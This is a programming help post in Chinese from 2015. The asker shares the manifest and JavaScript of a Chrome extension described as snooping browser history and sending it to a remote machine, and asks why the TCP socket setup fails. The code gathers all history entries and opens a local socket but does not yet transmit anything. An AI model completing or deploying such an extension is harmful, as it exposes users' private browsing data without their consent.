【发布时间】:2015-09-04 14:26:29
【问题描述】:
我正在尝试在 chrome 中开发一个扩展,它可以窥探浏览器历史并将其发送到远程机器。我需要建立套接字连接来传输数据。 但我收到上述错误。在线阅读很多帖子,其中说清单文件中必须存在与套接字权限相关的错误。任何人都可以找出错误吗?请检查下面的代码。
清单文件:
{
"manifest_version": 2,
"name": "Browser History Snooping",
"description": "This extension snoops browser history and sends it to a remote machine",
"version": "1.0",
"browser_action": {
"default_icon": "icon.png",
"default_popup": "popup.html"
},
"permissions": [
"history"
],
"sockets": {
"tcp": {
"connect": ""
}
}
}
JavaScript
var histories = [];
var visits = [];
chrome.history.search({
text: '',
maxResults: 0
}, function (historyItems) {
var historiesProcessed = 0;
for (var i = 0; i < historyItems.length; i++) {
//histories.push(historyItems[i]);
console.log(historyItems[i]);
chrome.history.getVisits({
url: historyItems[i].url
}, function (visitItems) {
for (var i = 0; i < visitItems.length; i++) {
visits.push(visitItems[i]);
}
historiesProcessed++;
if (historiesProcessed === historyItems.length) {
console.log(visits.length + ' visits');
}
});
}
console.log(histories);
});
chrome.sockets.tcp.create({}, function (createInfo) {
chrome.sockets.tcp.connect(createInfo.socketId, '127.0.0.1', 8888,
function (result) {
if (result >= 0) {
console.log('Successfully connected');
}
});
});
【问题讨论】:
标签: javascript sockets tcp google-chrome-extension